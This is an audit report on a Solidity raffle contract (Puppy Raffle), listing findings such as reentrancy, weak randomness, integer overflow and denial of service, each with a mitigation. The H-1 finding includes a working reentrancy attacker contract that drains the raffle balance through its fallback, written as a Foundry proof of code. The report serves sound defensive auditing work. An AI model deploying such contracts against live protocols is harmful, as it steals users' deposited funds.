Protocol Audit Report

Version 1.0

Cyfrin.io

July 1, 2024

Puppy Raffle Audit Report

Yatharth

July 1, 2024

Prepared by: Yatharth Singh Panwar Lead Auditors:

- Yatharth

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the enterRaffle function with the following parameters:
    i. address[] participants : A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & value if they call the refund function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the value , and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Yatharth Singh Panwar makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

```
In Scope:
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

The audit was a very educational experience. The codebase is well written and easy to understand. The codebase is well documented and the functions are well named.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	5
Gas	2
Total	13

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` . The attacker can repeatedly call the `PuppyRaffle::refund` function till they drain all of the raffle balance in the contract.

Description: The `PuppyRaffle::refund` funtion does not follow `[CEI] (Checks, Effects, Interactions)`, as a result , enables the attacker to enter into the function and drain the contract balance. In the `PuppyRaflle::refund` we first make an external call to the `msg.sender` and only after making this to the external user, we update the `PuppyRaff;e::players` array.

```
1     function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5           payable(msg.sender).sendValue(entranceFee);
6
7   @=>       players[playerIndex] = address(0);
8   @=>       emit RaffleRefunded(playerAddress);
9       }
```

A player who has entered the raffle, could have a recieve/ fallback function present in an external contract. So that when they refund, the `msg.sender` sends the call to this external contract's recieve / fallback function which would be set up in such a way so as to allow the attacker to re-enter the raffle's `PuppyRaffle::refund` function and claim another refund. They could continue this cycle , till the balance of the contract is completely drained.

Impact: All the funds deposited by the participants could be stolen by a malicious user.

Proof of Concept:

- 1. The users enter the raffle.
- 2. The attackers set up a contract with a `fallback` function that calls `PuppyRaffle::refund`
- 3. the attacker enters the Raffle.
- 4. The attacker then calls the `PuppyRaffle::refund` function from the malicious contract, draining the contract balance.

Proof of Code:

Code

Add the following function to the `PuppyRaffleTest.t.sol`

```
    function test_ReentrancyTest() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee \* 4}(players);

        AttackerContract attackerContract = new AttackerContract(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, entranceFee);

        uint256 startingAttackerContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting Attacker Contract balance:   -> ",
            startingAttackerContractBalance);
        console.log("Starting Contract Balance:     -> ",
            startingContractBalance);

        console.log("Ending Attacker contract balance:    -> ", address
            (attackerContract).balance);
        console.log("Ending Contract Balance:    -> ", address(
            puppyRaffle).balance);
    }
```

Also add the below contract to the `PuppyRaffleTest.t.sol`

```
    contract AttackerContract {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
```

```
17      }
18
19      function _stealMoney() public {
20          if (address(puppyRaffle).balance > 0) {
21              puppyRaffle.refund(attackerIndex);
22          }
23      }
24
25      receive() external payable {
26          _stealMoney();
27      }
28
29      fallback() external payable {
30          _stealMoney();
31      }
32  }
```

Recommended Mitigation: To prevent this , we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
5 +       players[playerIndex] = address(0);
6 +       emit RaffleRefunded(playerAddress);
7         payable(msg.sender).sendValue(entranceFee);
8
9 -       players[playerIndex] = address(0);
10 -      emit RaffleRefunded(playerAddress);
11    }
```

[H-2] Weak randomness in `PupyRaffle::SelectWinner` allows users to influence or predict the winner.

Description: Hasing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. And a predictable number is not a good random number. Malicious users can manipulate these values to know them ahead of time to chose the winner of the raffle themselves.

Note This means the user can front-run this function and call `refund` if they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle unfair.

Proof of Concept:

1. Validators can know ahead of time , the `block.timestamp` and `block.difficulty` and can use that to predict when/how to participate in the raffle
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate a winner!
3. Users can revert their `selectWinner` transaction if they don't like their puppy.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer Overflow of `puppyRaffle::totalFee` loses fee.

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: In `puppyRaffle::selectWinner`, `totalFee` are accumulated for the `feeAddress` to collect later in the `PuppyRaffle::WithdrawFee`, however if the `totalFee` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

Medium

[M-1] TITLE (The for loop on an unbounded length array in PupppyRaffle::enterRaffle results in a Denial of Service (DoS) attack by causing gas prices to skyrocket for users entering later)

Description: The `PuppyRaffle::EnterRaffle` loops through `players` array to check if there are any duplicate enteries in the raffle. It does this by implementing a for loop which checks for the duplicate entries.However, the longer the `PuppyRaffle::players` array is, the more check a new player will have to make. This means the gas costs for players entering at the start of the raffle will be dramatically lower than thos who enter later. EVery additional address in the `players` array, is an

additional check the loop will have to make. After enough calls, the price of gas to enter the raffle will skyrocket and make it very expensive for new users to enter the raffle.

```
//Dos attack identified.
@=>     for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle, discouraging later users form entering the raffle and causing a rush at the start of the raffle to be one of the first entrants in the queue. Additionally, an attack might make the `PuppyRaffle::entrants` array so big, hat no one else enters the raffle, guaranteeing themselves to the win.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be such - first 100 players: ~62,52,039 - second 100 players: ~1,80,67,717 which is almost a 3 times hike.

```
    function test_DenialOfService() public {
        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 gasStartFirst = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEndFirst = gasleft();
        uint256 gasUsedFirst = (gasStartFirst - gasEndFirst) * tx.
            gasprice;

        //for the 2nd 100 users.
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i + playersNum);
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas used for first 100 users: ", gasUsedFirst);
        console.log("Gas used for second 100 users: ", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: Get rid of the for loop. Preferrable use a mapping to check for duplicated and store the players addresses. this would allow the search to happen in constant time.

[M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-active players and for the first player that enters the raffle causing the first player to incorrectly believe that they are not an active player in the raffle.

Description: If a player is at the 0 index in the `PuppyRaffle::players` array, the function `PuppyRaffle::getActivePlayerIndex` will return 0, which is also the number it returns if a player is inactive. This logic will cause confusion for the first player that enters the raffle as the index of the first player will be 0, and upon calling the `PuppyRaffle::getActivePlayerIndex`, they will get back 0 which will incorrectly indicate that they are not an active player in the raffle.

Impact: Will cause confusion for the very first player that enters the raffle. Causing them to inccorectly believe that they are not a part of the raffle.

Proof of Concept:

```
1       function getActivePlayerIndex(address player) external view
           returns (uint256) {
2           for (uint256 i = 0; i < players.length; i++) {
3               if (players[i] == player) {
4                   return i;
5               }
6           }
7           return 0;
8       }
```

Recommended Mitigation: If the player index is inactive, Return a number which can never be the index of `PuppyRaffle::players` array. A `negativeNumber` will be perfect for this use case, as the index of an array start from 0 .

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from the a constant or immutable varibale.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached.

Everytime you call `players.length`, you read from storage, as opposed to memory which is more gas efficient.

```
1  +        uint256 playersLength = players.length;
2  -        for (uint256 i = 0; i < players.length - 1; i++) {
3  +        for (uint256 i = 0; i < playersLength - 1; i++) {
4           for (uint256 j = i + 1; j < playersLength; j++) {
5               require(players[i] != players[j], "PuppyRaffle: Duplicate
                    player");
```

```
6           }
7       }
```

Informational

[I-1] Solidity pragma version should be specific, not floating

Try using a specified version of solidity instead of a floating one. For example, instead of `pragma solidity ^0.8.18` use `pragma solidity 0.8.18`.

[I-2] Using an outdated version of Solidity is not recommended. Please use a newer version like `0.8.18`.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing. Please see [Slither] (https://github.com/crytic/slither/wiki/Detector-Documentation) documentation for more information about this topic.

[I-3] The 'PuppyRaffle::SelectWinner() does not follow CEI (checks, Effects, Interactions).

[I-4] The use of 'magic' numbers in the codebase should be avoided.

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

[I-5] State changes are missing events